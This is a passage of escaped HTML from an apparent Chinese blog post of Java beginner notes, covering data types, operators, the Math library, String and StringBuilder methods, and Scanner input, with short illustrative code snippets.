href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E7%A8%8B%E5%BA%8F%E7%BB%93%E6%9E%84\" class=\"headerlink\" title=\"程序结构\"\u003e\u003c/a\u003e程序结构\u003c/h2\u003e\u003cp\u003eJava程序是以类为单位的,类则是一种自定义数据结构(类似于C中的结构体struct)。上面的程序包含了一个public类型的class(类),Hello是这个类的类名,这名称需和文件名同名。和C语言一样,Java也是大小写敏感的。习惯上将类名的每个单词首字母大写。\u003c/p\u003e\u003cp\u003e这个类中包含了一个main方法(也就是函数),作为这个Java程序的运行起点。这个方法中包含了该程序的所有逻辑,和C非常相似。\u003c/p\u003e\u003ch2 id=\"注释\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E6%B3%A8%E9%87%8A\" class=\"headerlink\" title=\"注释\"\u003e\u003c/a\u003e注释\u003c/h2\u003e\u003cp\u003eJava注释和C/C++基本一样,支持\u003ccode\u003e//\u003c/code\u003e和\u003ccode\u003e/*\u003c/code\u003e、\u003ccode\u003e*/\u003c/code\u003e,同时也支持另一种:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e/**\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*这是一个注释\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*它可以自动生成文档\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e*/\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e后两种都不能嵌套。这和C/C++一致。\u003c/p\u003e\u003ch2 id=\"数据类型\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E6%95%B0%E6%8D%AE%E7%B1%BB%E5%9E%8B\" class=\"headerlink\" title=\"数据类型\"\u003e\u003c/a\u003e数据类型\u003c/h2\u003e\u003cp\u003eJava是强类型语言。它共有8种基本数据类型:\u003c/p\u003e\u003cul\u003e\u003cli\u003e整型:int(4字节)、short(2字节)、long(8字节)、byte(1字节)\u003c/li\u003e\u003cli\u003e浮点类型:float(4字节)、double(8字节)\u003c/li\u003e\u003cli\u003echar类型\u003c/li\u003e\u003cli\u003eboolean(布尔)类型\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e这些都是关键字,用于声明对应类型的变量。\u003c/p\u003e\u003cp\u003e关于整型,和C差不多,有几点要注意:Java没有无符号类型整数。在整数后加L或l表示long类型整数,前缀0X或0x表示16进制整数,前缀0B或0b表示2进制整数,前缀0表示8进制数。为了可读性,还可以用下划线\u003ccode\u003e_\u003c/code\u003e分割整数:例如\u003ccode\u003e0b1111_0100\u003c/code\u003e这样的形式都是合法的。\u003c/p\u003e\u003cp\u003e关于浮点类型,double的使用相较于float更精确。浮点数后缀有两种:F或f表示float类型,而D或d表示double类型。不加后缀默认为double类型。也可以用16进制表示浮点数值:由于0.125=2的-3次幂,故可表示成0x1.0p-3。同时,还有三个特殊的浮点数值:正无穷大,负无穷大,NaN(Not a Number,不是一个数字)。例如0/0的结果就是NaN。可用Double.isNaN()可以检测一个变量是否为数值。另外,浮点数值采用二进制系统表示,因而不能精确表示1/10。此时可以使用BigDecimal类作为替代。\u003c/p\u003e\u003cp\u003e关于char类型:char原本表示单个字符。不过如今部分Unicode字符需要两个char来表示。和C一样,单引号表示字符,双引号表示字符串,反斜杠表示转义符。另外,可以直接用诸如\u003ccode\u003e\\u2122\u003c/code\u003e而不加引号的方式表示字符,比如:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(String\\u005B\\u005D args)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e也就是说,这种Unicode转义字符会在编译前被处理。因此\u003cstrong\u003e使用反斜杠时一定注意\u003c/strong\u003e。\u003c/p\u003e\u003cp\u003e关于boolean类型:C中没有布尔类型,而是使用int类型替代。Java中boolean类型只有true和false两个值。它和整数不能相互转换。这可以预防很多潜在的编程错误(例如\u003ccode\u003eif(x=0)\u003c/code\u003e在C语言中永远为假)。\u003c/p\u003e\u003cp\u003eJava的变量声明和C/C++基本一样,都是\u003ccode\u003e关键字 变量名\u003c/code\u003e的形式。同样可以在声明时对变量进行初始化(例如\u003ccode\u003eint a=5\u003c/code\u003e)。和C++一样,Java的声明可以在代码中的任何地方。用关键字final可以声明常量,这种变量只能被赋值一次。final就相当于C中的const关键字(const也是Java的关键字,不过Java并没有用它)。常量名一般习惯全部大写。常量也可以声明在main外部,类内部,使用关键字static final即可:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003eclass\u003c/span\u003e \u003cspan class=\"title class_\"\u003eExample\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e{\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003epublic\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"keyword\"\u003efinal\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"variable\"\u003eDAY_OF_WEEK\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"number\"\u003e7\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ...\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"运算符\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E8%BF%90%E7%AE%97%E7%AC%A6\" class=\"headerlink\" title=\"运算符\"\u003e\u003c/a\u003e运算符\u003c/h2\u003e\u003cp\u003e这和C/C++基本一致:\u003ccode\u003e+ - * /\u003c/code\u003e表示四则运算,\u003ccode\u003e%\u003c/code\u003e表示\u003cstrong\u003e整数求模运算\u003c/strong\u003e。对于除法,整数被0除会产生异常,而浮点数被0除则会得到无穷大或者NaN结果。\u003c/p\u003e\u003cp\u003eJava中有一个很有用的Math库,用来进行各种数学运算,并且还有一些数学常量。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eMath.sqrt(x)\u003c/code\u003e:返回一个\u003cem\u003e数值\u003c/em\u003e的平方根\u003c/li\u003e\u003cli\u003e\u003ccode\u003eMath.pow(x,a)\u003c/code\u003e:返回x的a次幂。参数x和a以及返回值都是double类型\u003c/li\u003e\u003cli\u003e\u003ccode\u003eMath.floorMod(x,a)\u003c/code\u003e:返回x对a取余的结果。它的存在是为了修补%运算不能正确处理负数的问题:负数的模显然应该是正数\u003c/li\u003e\u003cli\u003e\u003ccode\u003eMath.sin/cos/tan/atan/atan2\u003c/code\u003e:常用三角函数\u003c/li\u003e\u003cli\u003e\u003ccode\u003eMath.exp/log/log10\u003c/code\u003e:指数函数和它的反函数,以及以10为底的对数\u003c/li\u003e\u003cli\u003e\u003ccode\u003eMath.PI/E\u003c/code\u003e:两个近似表示π和e的常量\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e在源文件顶部加上这行代码,就可以省略这些方法/常量的Math.前缀了:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e \u003cspan class=\"keyword\"\u003estatic\u003c/span\u003e java.lang.Math.*;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e数据类型转换和强制类型转换,和C/C++基本相同。此外,Java还有\u003ccode\u003eMath.round\u003c/code\u003e方法,可以对浮点数进行四舍五入:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"variable\"\u003ex\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"number\"\u003e9.997\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"variable\"\u003enx\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)Math.round(x);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e由于\u003ccode\u003eMath.round\u003c/code\u003e返回的是long类型,所以需要用\u003ccode\u003e(int)\u003c/code\u003e显式转换,避免数据丢失。\u003c/p\u003e\u003cp\u003e和C/C++一样,Java也有\u003ccode\u003e+=\u003c/code\u003e,\u003ccode\u003e-=\u003c/code\u003e,\u003ccode\u003e*=\u003c/code\u003e,\u003ccode\u003e/=\u003c/code\u003e和\u003ccode\u003e%=\u003c/code\u003e这几个结合赋值和运算符的运算符。左右数据类型不同时会发生强制类型转换,将运算结果转换成左值的类型。自增,自减运算符和C/C++完全一样,不需要说明。\u003c/p\u003e\u003cp\u003eJava中的逻辑运算符和C/C++一致,且支持短路特性。Java也支持三目运算符\u003ccode\u003e?:\u003c/code\u003e。下面的表达式``\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003ex\u0026gt;y?x:y;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e返回\u003ccode\u003ex\u003c/code\u003e和\u003ccode\u003ey\u003c/code\u003e中较大的值。\u003c/p\u003e\u003cp\u003e位运算符有\u003ccode\u003e\u0026amp; | ^ ~\u003c/code\u003e四个,分别表示与,或,异或,非。利用位运算我们可以获得一个整数的各个位,也就是掩码技术。另外它的运算对象如果是布尔类型,则返回值也是布尔类型,但这种方式不使用路求值。\u003c/p\u003e\u003cp\u003e\u003ccode\u003e\u0026lt;\u0026lt;\u003c/code\u003e和\u003ccode\u003e\u0026gt;\u0026gt;\u003c/code\u003e是移位运算符,用法和C/C++一样:将左值左移/右移右值相应的位数。\u003ccode\u003e\u0026gt;\u0026gt;\u0026gt;\u003c/code\u003e会用0填充高位,而\u003ccode\u003e\u0026gt;\u0026gt;\u003c/code\u003e会用符号位填充高位。没有\u003ccode\u003e\u0026lt;\u0026lt;\u0026lt;\u003c/code\u003e运算符。\u003c/p\u003e\u003cp\u003e枚举类型包括有限个命名的值,例如\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eenum\u003c/span\u003e \u003cspan class=\"title class_\"\u003eSize\u003c/span\u003e{SMALL, LARGE};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eSize\u003c/span\u003e \u003cspan class=\"variable\"\u003es\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e Size.LARGE;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"字符串\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E5%AD%97%E7%AC%A6%E4%B8%B2\" class=\"headerlink\" title=\"字符串\"\u003e\u003c/a\u003e字符串\u003c/h2\u003e\u003cp\u003eJava字符串就是Unicode字符序列。Java没有内置字符串类型,而是在标准Java类库中提供了一个String预定义类。每个用双引号括起来的字符串都是String类的一个实例:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eString\u003c/span\u003e \u003cspan class=\"variable\"\u003ee\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eString\u003c/span\u003e \u003cspan class=\"variable\"\u003egreeting\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;hello\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003esubstring\u003c/code\u003e方法可以从一个较大的字符串提取出一个子串:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eString\u003c/span\u003e \u003cspan class=\"variable\"\u003egreeting\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;hello\u0026#34;\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eString\u003c/span\u003e \u003cspan class=\"variable\"\u003es\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e greeting.substring(\u003cspan class=\"number\"\u003e0\u003c/span\u003e,\u003cspan class=\"number\"\u003e3\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e\u003ccode\u003es\u003c/code\u003e是一个由”hel”组成的字符串。这方法表示从第0个字符开始,复制到第三个(不包括)为止。\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003e+\u003c/code\u003e用来连接字符串。非字符串值被应用于这个操作符时,会被转换成字符串类型。\u003cstrong\u003e任何一个Java对象都可以转换成字符串。\u003c/strong\u003e如果需要用定界符分隔并连接,只需要用\u003ccode\u003eString.join\u003c/code\u003e静态方法:\u003c/li\u003e\u003c/ul\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eString\u003c/span\u003e \u003cspan class=\"variable\"\u003es\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e String.join(\u003cspan class=\"string\"\u003e\u0026#34;,\u0026#34;\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026#34;a\u0026#34;\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026#34;b\u0026#34;\u003c/span\u003e,\u003cspan class=\"string\"\u003e\u0026#34;c\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面的\u003ccode\u003es\u003c/code\u003e为\u003ccode\u003ea,b,c\u003c/code\u003e。\u003c/p\u003e\u003cp\u003eJava的String类对象被称为\u003cstrong\u003e不可变字符串\u003c/strong\u003e,也就是说一旦创建String对象,就不能对其进行修改。\u003c/p\u003e\u003cp\u003e利用\u003ccode\u003eString.equals\u003c/code\u003e方法检测两个字符串是否相等。例如\u003ccode\u003es.equals(t)\u003c/code\u003e,返回\u003ccode\u003es\u003c/code\u003e和\u003ccode\u003et\u003c/code\u003e的比较结果。这里的\u003ccode\u003es\u003c/code\u003e和\u003ccode\u003et\u003c/code\u003e可以是字符串实例,也可以是字符串字面量。\u003c/p\u003e\u003cp\u003e\u003ccode\u003echar\u003c/code\u003e类型在Java中并不是很常用,因为现在很多字符需要两个char类型存储单元才能表示。因此尽量不要用\u003ccode\u003echar\u003c/code\u003e类型。\u003c/p\u003e\u003cp\u003e下面是常用的String类的方法:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eboolean equals(Object other)\u003c/code\u003e 字符串比较\u003c/li\u003e\u003cli\u003e\u003ccode\u003eboolean equalsIgnoreCase(String other)\u003c/code\u003e 字符串比较,忽略大小写\u003c/li\u003e\u003cli\u003e\u003ccode\u003eboolean startsWith(String str)\u003c/code\u003e 判断字符串是否以\u003ccode\u003estr\u003c/code\u003e开头\u003c/li\u003e\u003cli\u003e\u003ccode\u003eboolean endsWith(String str)\u003c/code\u003e 判断字符串是否以\u003ccode\u003estr\u003c/code\u003e结束\u003c/li\u003e\u003cli\u003e\u003ccode\u003eint length()\u003c/code\u003e 返回字符串的长度\u003c/li\u003e\u003cli\u003e\u003ccode\u003eString substring(int begin)\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eString substring(int begin, int end)\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eString toLowerCase()\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eString toUpperCase()\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eString trim()\u003c/code\u003e 返回删除左右空格的字符串\u003c/li\u003e\u003cli\u003e\u003ccode\u003eString join(CharSequence delimiter, CharSequence... elements)\u003c/code\u003e 就是上面的\u003ccode\u003eString.join\u003c/code\u003e方法\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e构建字符串时,可以用\u003ccode\u003eStringBuilder\u003c/code\u003e类避免每次都新建一个String对象,节省空间:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eStringBuilder\u003c/span\u003e \u003cspan class=\"variable\"\u003esb\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eStringBuilder\u003c/span\u003e();\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esb.append(ch);  \u003cspan class=\"comment\"\u003e//添加一个字符ch\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esb.append(str);  \u003cspan class=\"comment\"\u003e//添加一个字符串str\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eString\u003c/span\u003e \u003cspan class=\"variable\"\u003ecompletedString\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e sb.toString();  \u003cspan class=\"comment\"\u003e//完成后的字符串\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e下面是\u003ccode\u003eStringBuilder\u003c/code\u003e类的方法:\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003ccode\u003eStringBuilder()\u003c/code\u003e 构造器\u003c/li\u003e\u003cli\u003e\u003ccode\u003eint length()\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eStringBuilder append(String str/char c)\u003c/code\u003e 追加字符串/字符并返回\u003ccode\u003ethis\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eStringBuilder insert(String str/char c)\u003c/code\u003e 插入字符并返回\u003ccode\u003ethis\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eStringBuilder delete(int start, int end)\u003c/code\u003e 删除\u003ccode\u003estart\u003c/code\u003e到\u003ccode\u003eend\u003c/code\u003e(不包括end)的代码单元并返回\u003ccode\u003ethis\u003c/code\u003e\u003c/li\u003e\u003cli\u003e\u003ccode\u003eString toString()\u003c/code\u003e 返回一个内容相同的字符串\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"输入输出\"\u003e\u003ca href=\"https://xeonds.github.io/2022/01/11/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/Java/Java%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%9F%BA%E7%A1%80%E7%AF%87/#%E8%BE%93%E5%85%A5%E8%BE%93%E5%87%BA\" class=\"headerlink\" title=\"输入输出\"\u003e\u003c/a\u003e输入输出\u003c/h2\u003e\u003cp\u003e输入基于\u003ccode\u003eScanner\u003c/code\u003e类。首先得声明Scanner对象,并与标准输入流System.in关联:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eScanner\u003c/span\u003e \u003cspan class=\"variable\"\u003ein\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e \u003cspan class=\"keyword\"\u003enew\u003c/span\u003e \u003cspan class=\"title class_\"\u003eScanner\u003c/span\u003e(System.in);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e随后就可以使用\u003ccode\u003eScanner\u003c/code\u003e类的各种方法实现输入操作了。比如:\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eSystem.out.print(\u003cspan class=\"string\"\u003e\u0026#34;input your name:\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eString\u003c/span\u003e \u003cspan class=\"variable\"\u003ename\u003c/span\u003e \u003cspan class=\"operator\"\u003e=\u003c/span\u003e in.nextLine();\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e要使用\u003ccode\u003eScanner\u003c/code\u003e类,需要在\u003cstrong\u003e源码开头\u003c/strong\u003e导入\u003ccode\u003ejava.util.*\u003c/code\u003e\u003c/p\u003e\u003cfigure class=\"highlight java\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eimport\u003c/span\u003e 